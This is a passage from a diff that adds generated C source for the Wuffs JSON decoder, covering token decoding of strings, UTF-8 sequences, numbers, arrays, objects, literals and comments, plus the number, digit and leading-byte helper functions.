(((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 1u; -+ goto label__string_loop_outer__continue; -+ } -+ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); -+ goto label__string_loop_outer__continue; -+ } -+ v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); -+ if ((v_multi_byte_utf8 & 12632064u) == 8421376u) { -+ v_multi_byte_utf8 = ((61440u & ((uint32_t)(v_multi_byte_utf8 << 12u))) | (4032u & (v_multi_byte_utf8 >> 2u)) | (63u & (v_multi_byte_utf8 >> 16u))); -+ if ((2047u < v_multi_byte_utf8) && ((v_multi_byte_utf8 < 55296u) || (57343u < v_multi_byte_utf8))) { -+ iop_a_src += 3u; -+ if (v_string_length >= 65528u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)((v_string_length + 3u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ goto label__string_loop_outer__continue; -+ } -+ v_string_length += 3u; -+ continue; -+ } -+ } -+ } else if (v_char == 5u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -+ if (v_string_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ goto label__string_loop_outer__continue; -+ } -+ } -+ if (a_src && a_src->meta.closed) { -+ if (self->private_impl.f_quirks[20u]) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 1u; -+ goto label__string_loop_outer__continue; -+ } -+ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(13); -+ goto label__string_loop_outer__continue; -+ } -+ v_multi_byte_utf8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ if ((v_multi_byte_utf8 & 3233857536u) == 2155905024u) { -+ v_multi_byte_utf8 = ((1835008u & ((uint32_t)(v_multi_byte_utf8 << 18u))) | -+ (258048u & ((uint32_t)(v_multi_byte_utf8 << 4u))) | -+ (4032u & (v_multi_byte_utf8 >> 10u)) | -+ (63u & (v_multi_byte_utf8 >> 24u))); -+ if ((65535u < v_multi_byte_utf8) && (v_multi_byte_utf8 <= 1114111u)) { -+ iop_a_src += 4u; -+ if (v_string_length >= 65528u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ goto label__string_loop_outer__continue; -+ } -+ v_string_length += 4u; -+ continue; -+ } -+ } -+ } -+ if (v_string_length > 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_string_length = 0u; -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ goto label__string_loop_outer__continue; -+ } -+ } -+ if (((uint8_t)(v_char & 128u)) != 0u) { -+ if (self->private_impl.f_quirks[0u]) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)((6291456u | ((uint32_t)(((uint8_t)(v_char & 127u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 1u; -+ goto label__string_loop_outer__continue; -+ } -+ if (v_char == 138u) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_new_line_in_a_string); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_json__error__bad_c0_control_code); -+ goto exit; -+ } -+ if (self->private_impl.f_quirks[20u]) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ iop_a_src += 1u; -+ goto label__string_loop_outer__continue; -+ } -+ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); -+ goto exit; -+ } -+ } -+ label__string_loop_outer__break:; -+ while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(14); -+ continue; -+ } -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(15); -+ continue; -+ } -+ iop_a_src += 1u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ break; -+ } -+ if (0u == (v_expect & (((uint32_t)(1u)) << 4u))) { -+ v_expect = 4104u; -+ goto label__outer__continue; -+ } -+ break; -+ } else if (v_class == 2u) { -+ iop_a_src += 1u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ if (0u == (v_expect & (((uint32_t)(1u)) << 8u))) { -+ if (self->private_impl.f_quirks[13u]) { -+ v_expect = 4162u; -+ } else { -+ v_expect = 4098u; -+ } -+ } else { -+ if (self->private_impl.f_quirks[13u]) { -+ v_expect = 8114u; -+ } else { -+ v_expect = 7858u; -+ } -+ } -+ goto label__outer__continue; -+ } else if (v_class == 3u) { -+ iop_a_src += 1u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_expect = 7858u; -+ goto label__outer__continue; -+ } else if (v_class == 4u) { -+ while (true) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ v_number_length = wuffs_json__decoder__decode_number(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ v_number_status = (v_number_length >> 8u); -+ v_vminor = 10486787u; -+ if ((v_number_length & 128u) != 0u) { -+ v_vminor = 10486785u; -+ } -+ v_number_length = (v_number_length & 127u); -+ if (v_number_status == 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(v_number_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ break; -+ } -+ while (v_number_length > 0u) { -+ v_number_length -= 1u; -+ if (iop_a_src > io1_a_src) { -+ iop_a_src--; -+ } else { -+ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ } -+ if (v_number_status == 1u) { -+ if (self->private_impl.f_quirks[14u]) { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ break; -+ } -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } else if (v_number_status == 2u) { -+ status = wuffs_base__make_status(wuffs_json__error__unsupported_number_length); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(17); -+ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(18); -+ } -+ } -+ } -+ break; -+ } else if (v_class == 5u) { -+ v_vminor = 2113553u; -+ if (v_depth == 0u) { -+ } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { -+ v_vminor = 2113601u; -+ } else { -+ v_vminor = 2113569u; -+ } -+ if (v_depth >= 1024u) { -+ status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); -+ goto exit; -+ } -+ v_stack_byte = (v_depth / 32u); -+ v_stack_bit = (v_depth & 31u); -+ self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(1u)) << v_stack_bit); -+ v_depth += 1u; -+ iop_a_src += 1u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_expect = 4162u; -+ v_expect_after_value = 4164u; -+ goto label__outer__continue; -+ } else if (v_class == 6u) { -+ iop_a_src += 1u; -+ if (v_depth <= 1u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(2101314u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__outer__break; -+ } -+ v_depth -= 1u; -+ v_stack_byte = ((v_depth - 1u) / 32u); -+ v_stack_bit = ((v_depth - 1u) & 31u); -+ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(2105410u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_expect = 4356u; -+ v_expect_after_value = 4356u; -+ } else { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(2113602u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_expect = 4164u; -+ v_expect_after_value = 4164u; -+ } -+ goto label__outer__continue; -+ } else if (v_class == 7u) { -+ v_vminor = 2105361u; -+ if (v_depth == 0u) { -+ } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { -+ v_vminor = 2105409u; -+ } else { -+ v_vminor = 2105377u; -+ } -+ if (v_depth >= 1024u) { -+ status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); -+ goto exit; -+ } -+ v_stack_byte = (v_depth / 32u); -+ v_stack_bit = (v_depth & 31u); -+ self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(1u)) << v_stack_bit)); -+ v_depth += 1u; -+ iop_a_src += 1u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_expect = 8114u; -+ v_expect_after_value = 4356u; -+ goto label__outer__continue; -+ } else if (v_class == 8u) { -+ iop_a_src += 1u; -+ if (v_depth <= 1u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(2101282u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__outer__break; -+ } -+ v_depth -= 1u; -+ v_stack_byte = ((v_depth - 1u) / 32u); -+ v_stack_bit = ((v_depth - 1u) & 31u); -+ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(2105378u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_expect = 4356u; -+ v_expect_after_value = 4356u; -+ } else { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(2113570u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ v_expect = 4164u; -+ v_expect_after_value = 4164u; -+ } -+ goto label__outer__continue; -+ } else if (v_class == 9u) { -+ v_match = wuffs_private_impl__io_reader__match7(iop_a_src, io2_a_src, a_src, 111546413966853u); -+ if (v_match == 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(8388612u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(5u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { -+ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ iop_a_src += 5u; -+ break; -+ } else if (v_match == 1u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(19); -+ goto label__outer__continue; -+ } -+ } else if (v_class == 10u) { -+ v_match = wuffs_private_impl__io_reader__match7(iop_a_src, io2_a_src, a_src, 435762131972u); -+ if (v_match == 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(8388616u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -+ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ iop_a_src += 4u; -+ break; -+ } else if (v_match == 1u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(20); -+ goto label__outer__continue; -+ } -+ } else if (v_class == 11u) { -+ v_match = wuffs_private_impl__io_reader__match7(iop_a_src, io2_a_src, a_src, 465676103172u); -+ if (v_match == 0u) { -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(8388610u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -+ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ iop_a_src += 4u; -+ break; -+ } else if (v_match == 1u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(21); -+ goto label__outer__continue; -+ } -+ if (self->private_impl.f_quirks[14u]) { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); -+ status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ break; -+ } -+ } else if (v_class == 12u) { -+ if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u]) { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); -+ status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (self->private_impl.f_comment_type > 0u) { -+ goto label__outer__continue; -+ } -+ } -+ } -+ status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ goto exit; -+ } -+ if (v_depth == 0u) { -+ break; -+ } -+ v_expect = v_expect_after_value; -+ } -+ label__outer__break:; -+ if (self->private_impl.f_quirks[17u] || self->private_impl.f_quirks[18u]) { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); -+ status = wuffs_json__decoder__decode_trailer(self, a_dst, a_src); -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ self->private_impl.f_end_of_data = true; -+ -+ ok: -+ self->private_impl.p_decode_tokens = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_tokens = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ self->private_data.s_decode_tokens.v_depth = v_depth; -+ self->private_data.s_decode_tokens.v_expect = v_expect; -+ self->private_data.s_decode_tokens.v_expect_after_value = v_expect_after_value; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func json.decoder.decode_number -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_json__decoder__decode_number( -+ wuffs_json__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ uint8_t v_c8 = 0; -+ uint32_t v_n = 0; -+ uint32_t v_floating_point = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ do { -+ v_n = 0u; -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if ( ! (a_src && a_src->meta.closed)) { -+ v_n |= 768u; -+ } -+ break; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if (v_c8 != 45u) { -+ } else { -+ v_n += 1u; -+ iop_a_src += 1u; -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if ( ! (a_src && a_src->meta.closed)) { -+ v_n |= 768u; -+ } -+ v_n |= 256u; -+ break; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ } -+ if (v_c8 == 48u) { -+ v_n += 1u; -+ iop_a_src += 1u; -+ } else { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (v_n > 99u) { -+ break; -+ } -+ } -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if ( ! (a_src && a_src->meta.closed)) { -+ v_n |= 768u; -+ } -+ break; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if (v_c8 != 46u) { -+ } else { -+ if (v_n >= 99u) { -+ v_n |= 512u; -+ break; -+ } -+ v_n += 1u; -+ iop_a_src += 1u; -+ v_floating_point = 128u; -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (v_n > 99u) { -+ break; -+ } -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if ( ! (a_src && a_src->meta.closed)) { -+ v_n |= 768u; -+ } -+ break; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ } -+ if ((v_c8 != 69u) && (v_c8 != 101u)) { -+ break; -+ } -+ if (v_n >= 99u) { -+ v_n |= 512u; -+ break; -+ } -+ v_n += 1u; -+ iop_a_src += 1u; -+ v_floating_point = 128u; -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if ( ! (a_src && a_src->meta.closed)) { -+ v_n |= 768u; -+ } -+ v_n |= 256u; -+ break; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if ((v_c8 != 43u) && (v_c8 != 45u)) { -+ } else { -+ if (v_n >= 99u) { -+ v_n |= 512u; -+ break; -+ } -+ v_n += 1u; -+ iop_a_src += 1u; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } while (0); -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ return (v_n | v_floating_point); -+} -+ -+// -------- func json.decoder.decode_digits -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_json__decoder__decode_digits( -+ wuffs_json__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_n) { -+ uint8_t v_c8 = 0; -+ uint32_t v_n = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ v_n = a_n; -+ while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if ( ! (a_src && a_src->meta.closed)) { -+ v_n |= 768u; -+ } -+ break; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if (0u == WUFFS_JSON__LUT_DECIMAL_DIGITS[v_c8]) { -+ break; -+ } -+ if (v_n >= 99u) { -+ v_n |= 512u; -+ break; -+ } -+ v_n += 1u; -+ iop_a_src += 1u; -+ } -+ if (v_n == a_n) { -+ v_n |= 256u; -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ return v_n; -+} -+ -+// -------- func json.decoder.decode_leading -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_json__decoder__decode_leading( -+ wuffs_json__decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_u = 0; -+ -+ wuffs_base__token* iop_a_dst = NULL; -+ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_leading; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ self->private_impl.f_allow_leading_ars = self->private_impl.f_quirks[15u]; -+ self->private_impl.f_allow_leading_ubom = self->private_impl.f_quirks[16u]; -+ while (self->private_impl.f_allow_leading_ars || self->private_impl.f_allow_leading_ubom) { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ continue; -+ } -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (a_src && a_src->meta.closed) { -+ break; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ continue; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if ((v_c8 == 30u) && self->private_impl.f_allow_leading_ars) { -+ self->private_impl.f_allow_leading_ars = false; -+ iop_a_src += 1u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ continue; -+ } else if ((v_c8 == 239u) && self->private_impl.f_allow_leading_ubom) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { -+ if (a_src && a_src->meta.closed) { -+ break; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -+ continue; -+ } -+ v_u = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); -+ if (v_u == 12565487u) { -+ self->private_impl.f_allow_leading_ubom = false; -+ iop_a_src += 3u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(0u)) << 